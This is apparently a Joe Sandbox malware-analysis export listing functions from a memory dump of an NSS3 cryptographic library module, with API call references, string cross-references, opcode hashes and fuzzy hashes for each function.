Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4550b6cb265bf63d2efd31f8dc5781b08535d4b928875600ccc5f488e51e893d
Instruction ID: 951d9d9f4e238c288fccec608e43c0903d8770115ee4b88be75ca30a9131082d
Opcode Fuzzy Hash: 4550b6cb265bf63d2efd31f8dc5781b08535d4b928875600ccc5f488e51e893d
Instruction Fuzzy Hash: E9F0A4B59001147BDB003BA1AC4DC9F3E3DDF42764F004024FD0967A02EA36E91496B2

Function 6CBC4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CBC4DCB

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CBC4DE1

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CBC4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBC4E59

Part of subcall function 6CBAFAB0: free.MOZGLUE(?,-00000001,?,?,6CB4F673,00000000,00000000), ref: 6CBAFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC8300C,00000000), ref: 6CBC4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CBC4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CBC4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBC521A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 41be3c9a95f69f26a7668ce41a458646ee434a2df2649930ce97544c39ec731c
Instruction ID: 9f86d665e8b70216fd24df0caee939c82c06d59eaa83598750a4583b1ae49039
Opcode Fuzzy Hash: 41be3c9a95f69f26a7668ce41a458646ee434a2df2649930ce97544c39ec731c
Instruction Fuzzy Hash: F1F19A71F0024A8BDB08CF54D8507AEB7B2FF48358F258129E915AB780E775E985CF92

Function 6CBC0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBC2C2A), ref: 6CBC0C81

Part of subcall function 6CBABE30: SECOID_FindOID_Util.NSS3(6CB6311B,00000000,?,6CB6311B,?), ref: 6CBABE44

Part of subcall function 6CB98500: SECOID_GetAlgorithmTag_Util.NSS3(6CB995DC,00000000,00000000,00000000,?,6CB995DC,00000000,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB98517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBC0CC4

Part of subcall function 6CBAFAB0: free.MOZGLUE(?,-00000001,?,?,6CB4F673,00000000,00000000), ref: 6CBAFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBC0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CBC0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CBC0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CBC0D7D
free.MOZGLUE(00000000), ref: 6CBC0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBC0DC1
free.MOZGLUE(00000000), ref: 6CBC0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBC0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBC0E0F

Part of subcall function 6CB995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB995E0
Part of subcall function 6CB995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB995F5
Part of subcall function 6CB995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CB99609
Part of subcall function 6CB995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB9961D
Part of subcall function 6CB995C0: PK11_GetInternalSlot.NSS3 ref: 6CB9970B
Part of subcall function 6CB995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CB99756
Part of subcall function 6CB995C0: PK11_GetIVLength.NSS3(?), ref: 6CB99767
Part of subcall function 6CB995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CB9977E
Part of subcall function 6CB995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB9978E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: faaa5cb49af0c2acc3decf10af0ac86bac1c7bd6abf8936c947e3193b9fb50d2
Instruction ID: e94c84ccd6cb8170d7290a8a75ddd076278d47987674d760404dee4d93a06988
Opcode Fuzzy Hash: faaa5cb49af0c2acc3decf10af0ac86bac1c7bd6abf8936c947e3193b9fb50d2
Instruction Fuzzy Hash: 5F41A0F1A01296ABEB009F64EC45BEF7674EF05318F104028ED1567741EB35AA58CBE3

Function 6CB54FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CCA0148,?,6CB66FEC), ref: 6CB5502A
PR_NewLock.NSS3(00000001,00000000,6CCA0148,?,6CB66FEC), ref: 6CB55034
PL_NewHashTable.NSS3(00000000,6CBAFE80,6CBAFD30,6CBFC350,00000000,00000000,00000001,00000000,6CCA0148,?,6CB66FEC), ref: 6CB55055
PL_NewHashTable.NSS3(00000000,6CBAFE80,6CBAFD30,6CBFC350,00000000,00000000,?,00000001,00000000,6CCA0148,?,6CB66FEC), ref: 6CB5506D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 22092bd3460d6fdcc90a1bdea2a5ccbd8d103a718f19f786bcb816253628d798
Instruction ID: 916786a72a400caa2661ea8dca0c98f9e9c2674304d93a003df283e05badd9d3
Opcode Fuzzy Hash: 22092bd3460d6fdcc90a1bdea2a5ccbd8d103a718f19f786bcb816253628d798
Instruction Fuzzy Hash: 0B3137B1B012909BEF109FE5886CB5BBBBCDB13349F450125EA09D3600E3759C59DBEA

Function 6CAF2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAF2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CAF2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CAF3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CAF30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAF3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAF3178

Strings

%s at line %d of [%.10s], xrefs: 6CAF3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAF3022, 6CAF3156, 6CAF3162, 6CAF318A, 6CAF3196, 6CAF31A2, 6CAF31AE, 6CAF31BA, 6CAF31C6
database corruption, xrefs: 6CAF316C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: dfd8cf8a8492af58e2ce4720075ad47ef9dbdac5ea591a5265f8bb9eb7eb8ce8
Instruction ID: 3c816c6c7a403ae449547db06b8fbf5254506c7f52bd265bfc3e12aea2f76ecd
Opcode Fuzzy Hash: dfd8cf8a8492af58e2ce4720075ad47ef9dbdac5ea591a5265f8bb9eb7eb8ce8
Instruction Fuzzy Hash: E7B19070E062159BDF08CF9DC884AEEB7B1BF48304F24412AF855B7B41D7749982CBA5

Function 6CBC7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CBC7FB2

Part of subcall function 6CB4BA40: TlsGetValue.KERNEL32 ref: 6CB4BA51
Part of subcall function 6CB4BA40: TlsGetValue.KERNEL32 ref: 6CB4BA6B
Part of subcall function 6CB4BA40: EnterCriticalSection.KERNEL32 ref: 6CB4BA83
Part of subcall function 6CB4BA40: TlsGetValue.KERNEL32 ref: 6CB4BAA1
Part of subcall function 6CB4BA40: _PR_MD_UNLOCK.NSS3 ref: 6CB4BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CBC7FD4

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

Part of subcall function 6CBC9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CBC9466

PR_ExitMonitor.NSS3(?), ref: 6CBC801B
PR_EnterMonitor.NSS3(?), ref: 6CBC8034
TlsGetValue.KERNEL32 ref: 6CBC80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBC80C0
PR_ExitMonitor.NSS3(?), ref: 6CBC811C
PR_ExitMonitor.NSS3(?), ref: 6CBC8134

Strings

), xrefs: 6CBC80DB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: c4fdc3d169deb41d2f1911eb6041f273f716335d1ffb860f10f1d0b4129019b6
Instruction ID: b9752733a319bf8dd8a33c3d58de73f4b0564b6390c1d9fba54d72ca2a21b480
Opcode Fuzzy Hash: c4fdc3d169deb41d2f1911eb6041f273f716335d1ffb860f10f1d0b4129019b6
Instruction Fuzzy Hash: 1B513371B447849BEB219F359C00BEB77F4EF5630CF08052AD99996A42EB32A509C793

Function 6CB6FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CB6FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CB6FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CB6FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB6FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CB6FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CB6FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CB6FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB6FD84

Strings

:, xrefs: 6CB6FD78

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: db1792e98fff44887f01e7865f44fd537506b1f99dc446c4758aa5b777cf73b4
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: F931E2B2D002A59BEB008AA6DD417AFB7A8EF40358F150039DD14ABF00E771E908C7D2

Function 6CB86C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CB86C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB86C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB86CA3

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB86CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CB86CD5

Strings

(CK_INVALID_HANDLE), xrefs: 6CB86C9C
hSession = 0x%x, xrefs: 6CB86C7E, 6CB86C8E
C_DigestInit, xrefs: 6CB86C61
pMechanism = 0x%p, xrefs: 6CB86CD0

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: db80ed7871d62bed743803b91d42637108130b39fa7c8bbdbcdaa87b3b21bc9b
Instruction ID: 6ef0ce7838c8e4baf002d54641fd2980c3fb16877d74d1ff5857a67d2c0bc321
Opcode Fuzzy Hash: db80ed7871d62bed743803b91d42637108130b39fa7c8bbdbcdaa87b3b21bc9b
Instruction Fuzzy Hash: D421F8706021949BDB009BA5DE98F9E37B5EB4231DF084025E509EBB41EF309D49CBAA

Function 6CB89DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CB89DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB89E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB89E33

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB89E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CB89E65

Strings

(CK_INVALID_HANDLE), xrefs: 6CB89E2C
hSession = 0x%x, xrefs: 6CB89E0E, 6CB89E1E
flags = 0x%x, xrefs: 6CB89E60
C_SessionCancel, xrefs: 6CB89DF1

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: bec47de805c911605da36dc10bbf5a5ada50b89678f024f321fc75a8dc8b5ac7
Instruction ID: f6d5852d94a7993804730e90ba6bd76561d499a54380df3fda642a477e60844b
Opcode Fuzzy Hash: bec47de805c911605da36dc10bbf5a5ada50b89678f024f321fc75a8dc8b5ac7
Instruction Fuzzy Hash: F821EA71B021449FDF009B95DD98B9E37B5EB4270EF044424E909ABB51EB309C4DC7B6

Function 6CB50F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB50F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB50F84

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CB6F59B,6CC7890C,?), ref: 6CB50FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CB50FC1

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CB50FDB
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB50FEF
PL_FreeArenaPool.NSS3(?), ref: 6CB51001
PL_FinishArenaPool.NSS3(?), ref: 6CB51009

Strings

security, xrefs: 6CB50F5C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 66d2b0a5a43f82a5d038e8c204243f7a28acaaf88c30fa3f3024328affc83a24
Instruction ID: 443d25a7bccfb75dd9d229d2dbe0e74bdb1a76bb015c1cc91cb74ea1586e0bf6
Opcode Fuzzy Hash: 66d2b0a5a43f82a5d038e8c204243f7a28acaaf88c30fa3f3024328affc83a24
Instruction Fuzzy Hash: 6621F7B19043446BD7109F25DC40AAFB7B8EF4425CF048519FC1897601FB31D955CB92

Function 6CB56DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CB57D8F,6CB57D8F,?,?), ref: 6CB56DC8

Part of subcall function 6CBAFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBAFE08
Part of subcall function 6CBAFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBAFE1D
Part of subcall function 6CBAFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBAFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CB57D8F,?,?), ref: 6CB56DD5

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC78FA0,00000000,?,?,?,?,6CB57D8F,?,?), ref: 6CB56DF7

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB56E35

Part of subcall function 6CBAFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CBAFE29
Part of subcall function 6CBAFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CBAFE3D
Part of subcall function 6CBAFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CBAFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB56E4C

Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC78FE0,00000000), ref: 6CB56E82

Part of subcall function 6CB56AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CB5B21D,00000000,00000000,6CB5B219,?,6CB56BFB,00000000,?,00000000,00000000,?,?,?,6CB5B21D), ref: 6CB56B01
Part of subcall function 6CB56AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB56B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB56F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB56F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC78FE0,00000000), ref: 6CB56F6B
PR_SetError.NSS3(FFFFE005,00000000,6CB57D8F,?,?), ref: 6CB56FE1

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
